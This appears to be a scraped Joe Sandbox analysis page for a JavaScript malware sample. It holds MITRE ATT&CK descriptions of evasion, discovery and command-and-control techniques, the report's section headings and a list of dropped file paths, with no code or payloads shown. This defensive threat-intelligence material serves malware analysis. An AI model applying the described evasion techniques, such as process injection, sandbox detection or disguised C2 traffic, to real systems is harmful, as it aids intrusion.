Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1052056652379030461.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ff09d7be-7a5a-4b01-88a5-c2a5afb6242d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2360

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
1052056652379030461.js